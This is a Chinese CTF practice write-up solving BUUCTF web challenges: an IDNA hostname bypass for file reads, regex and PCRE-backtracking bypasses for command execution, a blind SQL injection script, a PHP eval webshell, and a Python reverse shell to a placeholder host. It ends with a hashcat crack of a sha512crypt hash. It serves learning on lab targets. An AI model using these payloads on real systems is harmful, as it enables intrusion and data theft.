buu练习6

前言

还是凑字数用的,前言总要有点字在,才不显得空荡荡的。

[SUCTF 2019]Pythonginx

审计源码,自己整理了下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost) #去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

一段python,简单来说就是刚开始传入时不能让parse.urlparse(url).hostnameparts[1]的值为suctf.cc,但是在经过for循环的处理后要让这个值变为suctf.cc。for循环中是把url按照点分割分别进行idna编码后再进行utf-8解码。

方法一

一时半会也没啥想法,就把源码扔python跑下试试,经过多次测试发现了一个绕过方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse

url = "http:////suctf.cc/"
host = parse.urlparse(url).hostname
print(host)
parts = list(urlsplit(url))
host = parts[1]
print(host)
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
print(host)


//OutPut:
None

suctf.cc

再用任意文件读取nginx的配置文件:

1
file:////suctf.cc/usr/local/nginx/conf/nginx.conf

最后读取flag:

1
file:////suctf.cc/usr/fffffflag

方法二

这个方法利用的是idna解码与utf-8解码后是否存在一个字符会改变得到一个我们需要的字母,我们可以用脚本测试下:

1
2
3
4
5
6
7
8
9
10
# coding:utf-8 
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

发现确实存在很多这样的字符,因此用其中一个来替代就可以了,payload:

1
2
file:////suctf.cⒸ/usr/local/nginx/conf/nginx.conf
file:////suctf.cⒸ/usr/fffffflag

这里也顺便再写下nginx的常见目录:

  • 配置文件存放目录:/etc/nginx
  • 主要配置文件:/etc/nginx/conf/nginx.conf
  • 管理脚本:/usr/lib64/systemd/system/nginx.service
  • 模块:/usr/lisb64/nginx/modules
  • 应用程序:/usr/sbin/nginx
  • 程序默认存放位置:/usr/share/nginx/html
  • 日志默认存放位置:/var/log/nginx
  • Nginx配置文件:/usr/local/nginx/conf/nginx.conf

[FBCTF2019]RCEService

方法一

这题只有个输入框让我们输入json,什么都没有,在黑盒情况下我也不知道过滤了啥,不过根据提示内容上看应该是使用preg_match()进行了正则匹配,因此尝试用%0A绕过:

1
{%0A"cmd":"ls"%0A}

发现绕过成功,回显当前目录中的文件名。因此尝试寻找flag,但是找了会没找到,因此想读源码,又发现cat不能执行。这是个很严重的问题,因为不能cat的话即使我们找到了flag文件也无法读取。

我去找wp后发现不知道为啥他们直接就有源码,发现好像原题是有给的,麻了,审计一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

过滤的相当狠,但是他没有过滤cat。这时我们发现问题所在:

1
putenv('PATH=/home/rceservice/jail');

它的PATH被设置过了,那flag很可能就在这个PATH中,而且可能由于这个PATH中没有cat,导致了我们不能直接使用cat命令,因此要使用绝对路径。payload:

1
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

方法二

既然是绕过preg_match(),那么我们可以利用p牛之前一篇文章中写过的一个方法,我们可以尝试进行利用:
PHP利用PCRE回溯次数限制绕过某些安全限制

这篇文章写的十分详细,可以帮助我们加深对正则匹配的理解。

根据文章内容,我们了解到php的回溯次数是有限制的,因此我们可以使他不停进行回溯直到超过限制从而达到绕过效果,这个方法在ctfshow欢乐新春赛中也有过类似的题目。

因此我们构建exp:

1
2
3
4
5
6
7
8
import requests

url='http://9c7efde7-b024-4f3a-9e42-a0f0cf9567fc.node4.buuoj.cn:81/index.php'
data={
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

成功读取flag。

[CISCN2019 总决赛 Day2 Web1]Easyweb

进去登录框,试着随便登陆了下发现图片不一样了,但是没啥思路。扫描目录发现robots.txt,提示存在备份文件。经测试存在的是image.php.bak,下载文件,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

分析这段代码,我们发现我们要传入一个id与一个path参数,同时对传入的参数会使用addslashes()进行转义,转义后会将\0%00\'替换为空。

这段代码的核心当然是sql查询语句,我们的思路就是让id中的单引号逃逸一个出来,让id的值变成'{$id}\' or path=',这样我们就可以在path变量中写入sql语句了。

因此我们要让id的值为反斜杠,但是直接写入反斜杠会被替换,我们应该利用好addslashes()函数,用这个函数来帮助我们构造反斜杠。

如果我们传入的是\0,我们发现首先传入后经过addslashes()会转义为\\0,接着进行替换后后面的\0被替换成空,留下反斜杠。

由于没有回显,因此利用盲注,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://565b6ad6-b33f-41ef-807e-74fb15ed65cb.node4.buuoj.cn:81/image.php"
flag= ""
for i in range(1, 500):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high)>>1
while (low < high):
# 库名
#payload = "or id=if(ascii(substr((select group_concat(schema_name) from information_schema.schemata limit 1 offset 0),{},1))>{},1,0)#".format(i, mid)
# 表名
#payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 0),{},1))>{},1,0)#".format(i, mid)
# 字段名
#payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 limit 1 offset 0),{},1))>{},1,0)#".format(i, mid)
# 内容
payload = "or id=if(ascii(substr((select password from users limit 1 offset 0),{},1))>{},1,0)#".format(i, mid)
params = {
'id': '\\\\0',
'path': payload
}
r = requests.get(url, params=params)
time.sleep(0.05)
#print(r.content)
if b"JFIF" in r.content:
low = mid + 1
else:
high = mid
mid = (low + high) >>1
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

得到密码后登陆,是一个文件上传,经过测试发现文件内容过滤php,因此采用短标签绕过:

1
<?=@eval($_POST['mrl64']);?>

将文件名更改后上传:

1
I logged the file name you uploaded to logs/upload.efd6e24b03e887bb13b11b890467f233.log.php. LOL

用蚁剑连接,根目录得到flag。

[网鼎杯 2020 白虎组]PicDown

这个url卡了我老半天,我一直用伪协议读,没想到真就是直接任意文件读取,太淦了。

更离谱的是可以直接读出flag,但这个肯定不是预期解。我们先读取进程:

1
?url=../../../../proc/self/cmdline

发现存在app.py,读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

发现一个路由,我们需要输入一个key参数与SECRET_KEY进行比较,比较正确就会执行我们传入的shell参数。我们发现这个密码应该是存在/tmp/secret.txt中,且文件打开了没有关闭,这个题之前有做过类似的,我们可以从/proc/[pid]/fd中读取,因此我们爆破/proc/self/fd/*

/proc/self/fd/3中发现密钥,结果执行shell后发现是无回显rce,那就是要反弹shell了,构建payload:

1
python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

最后成功反弹shell,获取flag

TOP SECRET(hgame2022-misc)

做web真的累,干脆最后水一题吧,这道题来自hgame2022第四周的misc,因为有难度我就拿来复现下。

首先题目给了个流量包,这个地方脑洞太大了,我直接放原wp了:

首先,观察流量可以发现流量在不停的对形如x.x.x.x.x.x.x.x.x.的地址发送 ping 请求。其中,内容为 HGAME2022 的都是混淆项。提取出剩下的地址稍加整理,发现都是同一字母的大小写变化。根据 Hint (利用的时候按照8+1分组),前8位按照大小写转换成1和0,组成的2进制转成10进制,为流量包顺序。最后的一位不需要进行处理,为信息。按顺序连接字符成字符串。
得到的字符串观察后发现只含有 [A-Za-z] ,结合 Hint (处理完之后得到的东西是一种不常见的进制转换),猜测是一种不含数字的52进制转换。转换回10进制后即可得到本部分结果

第一步得到的结果为:

1
2
$6$6ldh0bSoluytiIS2$vs6caYlhCSX1rmWaPrdDYI55hIg3Ls75PnbJmEBfYOsZRaknhS4cTdmyIbHPWz/
2dTAdQUEM7IEmOc.GPo5UO.

接下来进入第二步,根据开头的$6$确定这行结果为sha512加密,题目中给的文本提供了我们掩码以及提示,因此构造对应的hashcat命令进行攻击:

1
hashcat -a 3 -m 1800 --force '$6$6ldh0bSoluytiIS2$vs6caYlhCSX1rmWaPrdDYI55hIg3Ls75PnbJmEBfYOsZRaknhS4cTdmyIbHPWz/2dTAdQUEM7IEmOc.GPo5UO.' --custom-charset1 'abcdefgnopqrs' --custom-charset2 'hijklmtuvwxyz' co?2b?2nd_7?up?dm6Q_?1nd_4br?d9Pc

跑出结果:

1
combind_7Jp8m6Q_and_4br39Pc

因此密码为7Jp8m6Q4br39Pc,这就是压缩包的密码,而最后得到一张图片,根据上边不规则的色块,怀疑是iOS特供图。具体原理大概是使用特定的色块影响iOS系统的压缩算法。

使用非iOS系统可得到半张二维码,使用iOS系统可得到另外半张二维码,合并扫描即可。

当然也有网站可以做到这一点:
FotoForensics